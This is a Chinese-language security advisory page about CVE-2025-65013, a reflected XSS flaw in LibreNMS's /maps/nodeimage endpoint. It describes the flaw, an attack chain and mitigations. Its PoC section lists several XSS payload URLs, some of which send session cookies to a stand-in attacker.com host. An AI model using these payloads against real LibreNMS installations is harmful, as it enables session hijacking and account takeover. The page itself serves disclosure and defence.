IPBUF安全漏洞报告
English
CVE-2025-65013 CVSS 6.2 中危

CVE-2025-65013 LibreNMS /maps/nodeimage 反射型XSS漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-65013
漏洞类型
反射型XSS
CVSS评分
6.2 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
LibreNMS

相关标签

CVE-2025-65013反射型XSS跨站脚本LibreNMS网络监控工具PHP应用会话劫持中危漏洞

漏洞概述

LibreNMS是一款基于PHP/MySQL/SNMP的网络自动发现监控工具。在25.11.0版本之前,LibreNMS应用中的/maps/nodeimage端点存在一个反射型跨站脚本(XSS)漏洞。该漏洞源于Image Name参数在HTTP响应中被直接反射而未进行适当的输出编码或清理。攻击者可以精心构造包含恶意JavaScript代码的URL,当受害者访问该URL时,恶意脚本会在受害者浏览器中执行,从而窃取会话Cookie、劫持用户会话、进行钓鱼攻击或执行其他恶意操作。由于该漏洞需要高权限用户身份且需要用户交互才能触发,因此CVSS评分为6.2(中危)。此漏洞已在25.11.0版本中得到修复。

技术细节

漏洞位于LibreNMS的/maps/nodeimage端点,该端点用于生成网络节点图像。当用户通过URL参数(如Image Name参数)向该端点提交数据时,用户输入被直接反射到HTTP响应页面的HTML内容中,而未经过任何HTML实体编码或输入验证。攻击者可以通过构造如下恶意URL:/maps/nodeimage?image_name=<script>alert(document.cookie)</script>,当受害者点击该链接或被诱骗访问该URL时,浏览器会执行注入的JavaScript代码。由于是反射型XSS,恶意脚本不会存储在服务器端,而是通过URL参数即时反射。攻击成功后,攻击者可获取受害者的认证信息、操作用户界面或进行进一步的攻击。修复方案是在输出点对所有用户可控数据进行HTML实体编码(<、>、"、'、&等字符),或使用成熟的XSS防护库对输出进行过滤。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标环境中运行的LibreNMS版本,确认版本低于25.11.0
STEP 2
步骤2
构造恶意URL:攻击者精心构造包含XSS payload的/maps/nodeimage端点URL,如嵌入<script>标签或事件处理器
STEP 3
步骤3
社会工程攻击:攻击者通过钓鱼邮件、即时消息或其他渠道诱骗具有高权限的目标用户点击恶意链接
STEP 4
步骤4
触发漏洞:受害者浏览器访问恶意URL,服务器将未过滤的用户输入反射回HTTP响应
STEP 5
步骤5
JavaScript执行:受害者浏览器解析HTML响应时,执行注入的恶意JavaScript代码
STEP 6
步骤6
窃取敏感信息:恶意脚本窃取用户会话Cookie、认证令牌或其他敏感数据并发送到攻击者控制的服务器
STEP 7
步骤7
会话劫持:攻击者利用窃取的凭证冒充受害者执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-65013 PoC: Reflected XSS in LibreNMS /maps/nodeimage endpoint --> <!-- This PoC demonstrates the XSS vulnerability by injecting a JavaScript alert --> <!-- Attack URL that triggers the XSS --> <!-- Replace the target URL with the vulnerable LibreNMS instance --> <!-- Basic XSS PoC --> https://[target-host]/maps/nodeimage?image_name=<script>alert('XSS')</script> <!-- Cookie stealing PoC --> https://[target-host]/maps/nodeimage?image_name=<script>fetch('https://attacker.com/log?cookie='+document.cookie)</script> <!-- Session hijacking PoC --> https://[target-host]/maps/nodeimage?image_name=<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))"> <!-- HTML context exploitation --> https://[target-host]/maps/nodeimage?image_name="><script>alert(document.domain)</script> https://[target-host]/maps/nodeimage?image_name=';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//= https://[target-host]/maps/nodeimage?image_name=</script><script>alert('XSS')</script>

影响范围

LibreNMS < 25.11.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在反向代理层配置URL过滤规则,拒绝包含常见XSS特征的请求(如<script>、javascript:、onerror等);2) 禁用受影响端点的访问或设置IP白名单限制;3) 提醒用户不要点击来源不明的链接;4) 加强用户会话管理,使用HttpOnly和Secure标志保护Cookie;5) 监控日志中的可疑请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表